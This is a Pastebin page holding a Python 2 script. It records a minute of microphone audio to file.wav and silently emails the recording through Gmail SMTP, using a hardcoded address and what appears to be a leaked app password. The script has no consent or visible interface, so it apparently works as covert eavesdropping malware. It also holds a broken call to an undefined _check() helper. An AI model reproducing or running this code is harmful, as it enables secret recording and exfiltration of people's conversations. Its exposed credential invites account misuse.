Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- import mimetypes
- from email.mime.multipart import MIMEMultipart
- from email import encoders
- from email.message import Message
- from email.mime.audio import MIMEAudio
- from email.mime.base import MIMEBase
- from email.mime.image import MIMEImage
- from email.mime.text import MIMEText
- import urllib2
- import pyaudio
- import wave
- import os
- import httplib
- import urllib2
- from time import sleep
- import yagmail
- import netifaces
- import urllib2,thread
- check = _check()
- thread.start_new_thread(check.timer,(None,))
- FORMAT = pyaudio.paInt16
- CHANNELS = 2
- RATE = 24000
- CHUNK = 1024
- RECORD_SECONDS = 60
- WAVE_OUTPUT_FILENAME = "file.wav"
- audio = pyaudio.PyAudio()
- stream = audio.open(format=FORMAT, channels=CHANNELS,
- rate=RATE, input=True,
- frames_per_buffer=CHUNK)
- frames = []
- for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
- data = stream.read(CHUNK)
- frames.append(data)
- # stop Recording
- stream.stop_stream()
- stream.close()
- audio.terminate()
- waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
- waveFile.setnchannels(CHANNELS)
- waveFile.setsampwidth(audio.get_sample_size(FORMAT))
- waveFile.setframerate(RATE)
- waveFile.writeframes(b''.join(frames))
- waveFile.close()
- emailfrom = "hi@gmail.com"
- emailto = "amitaagarwal565@gmail.com"
- fileToSend = "file.wav"
- username = "amitaagarwal565@gmail.com"
- password = "tuduxglywgiczkjl"
- msg = MIMEMultipart()
- msg["From"] = emailfrom
- msg["To"] = emailto
- msg["Subject"] = "This is file.wav"
- msg.preamble = "This is file.wav"
- ctype, encoding = mimetypes.guess_type(fileToSend)
- if ctype is None or encoding is not None:
- ctype = "application/octet-stream"
- maintype, subtype = ctype.split("/", 1)
- if maintype == "text":
- fp = open(fileToSend)
- # Note: we should handle calculating the charset
- attachment = MIMEText(fp.read(), _subtype=subtype)
- fp.close()
- elif maintype == "image":
- fp = open(fileToSend, "rb")
- attachment = MIMEImage(fp.read(), _subtype=subtype)
- fp.close()
- elif maintype == "audio":
- fp = open(fileToSend, "rb")
- attachment = MIMEAudio(fp.read(), _subtype=subtype)
- fp.close()
- else:
- fp = open(fileToSend, "rb")
- attachment = MIMEBase(maintype, subtype)
- attachment.set_payload(fp.read())
- fp.close()
- encoders.encode_base64(attachment)
- attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
- msg.attach(attachment)
- server = smtplib.SMTP("smtp.gmail.com:587")
- server.starttls()
- server.login(username,password)
- server.sendmail(emailfrom, emailto, msg.as_string())
- server.quit()
- print "done"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement